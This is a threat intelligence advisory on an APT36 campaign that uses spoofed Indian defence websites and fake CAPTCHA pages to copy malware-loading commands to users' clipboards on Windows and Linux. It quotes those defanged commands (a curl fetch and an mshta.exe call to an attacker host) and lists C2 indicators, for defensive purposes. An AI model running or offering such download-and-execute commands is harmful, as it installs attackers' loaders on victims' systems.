A recent cyber campaign spoofing the Indian Ministry of Defence has been attributed to APT36 (aka Transparent Tribe), a Pakistan-aligned threat actor. This multi-platform attack leverages ClickFix-style social engineering and spoofed government websites to trick users into executing clipboard-delivered malware on both Windows and Linux systems. This campaign showcases a refined use of infrastructure impersonation and payload delivery tailored to specific operating systems.
Severity Level: High
ATTACK CHAIN:
- Reconnaissance & Infrastructure Setup:
- Mimicry of legitimate Indian government portals (e.g., Ministry of Defence press releases).
- Web content cloned using HTTrack (evidence in source code).
- Initial Access:
- Victims visit a cloned press release portal.
- Delivery Mechanism:
- Redirect to /captcha/windows.php or /captcha/linux.php based on OS.
- Linux Flow: Fake CAPTCHA with “I’m not a rebot” button.
- Clicking silently copies this command to clipboard:
- curl https[:]//trade4wealth[.]in/admin/assets/js/
- Windows Flow: Fake “For Official Use Only” overlay using blurred yoga.ayush.gov[.]in background.
- Clicking “Continue” copies a command for mshta.exe to clipboard:
- mshta.exe https[:]//trade4wealth[.]in/admin/assets/css/default/sysinte.hta
- Execution:
- Linux:
- Users are instructed to paste the copied command using keyboard shortcuts
- Executes shell script mapeal.sh which opens a decoy image and ends.
- Windows:
- Executing mshta loads an obfuscated HTA payload, decoded to a .NET-based loader.
- Loader initiates outbound communication to: IP: 185.117.90[.]212 and C2: email.gov.in.avtzyu[.]store
- A decoy press release PDF shown to reduce suspicion.
- Command & Control (C2):
- Persistent connections made from obfuscated .NET loader on Windows.
- Communication likely over HTTP(S) to the spoofed subdomain and IP.
- Impact (Current State):
- Linux: No observed lateral movement, persistence, or exfiltration.
- Windows: Loader operational; likely modular payload system for future delivery.
Recommendations:
- Enable HTTP/HTTPS inspection to detect HTA and shell script downloads.
- Train employees to recognize spoofed government portals and misleading CAPTCHAs.
- Educate on dangers of executing commands from clipboard.
- Block execution of mshta.exe where not needed.
- Monitor for unauthorized use of curl, wget, bash in user contexts.
- Block the IOCs at their respective controls. https://www.virustotal.com/gui/collection/3bb2347b4fdc81ad3263ce57a067a91cd7c214c1ab79720d55225de5a621f4be/iocs
Source:
- https://hunt.io/blog/apt36-clickfix-campaign-indian-ministry-of-defence
- https://www.bleepingcomputer.com/news/security/hackers-now-testing-clickfix-attacks-against-linux-targets/
Enjoyed reading this Threat Intelligence Advisory? Stay updated with our latest exclusive content by following us on Twitter and LinkedIn
No related posts found.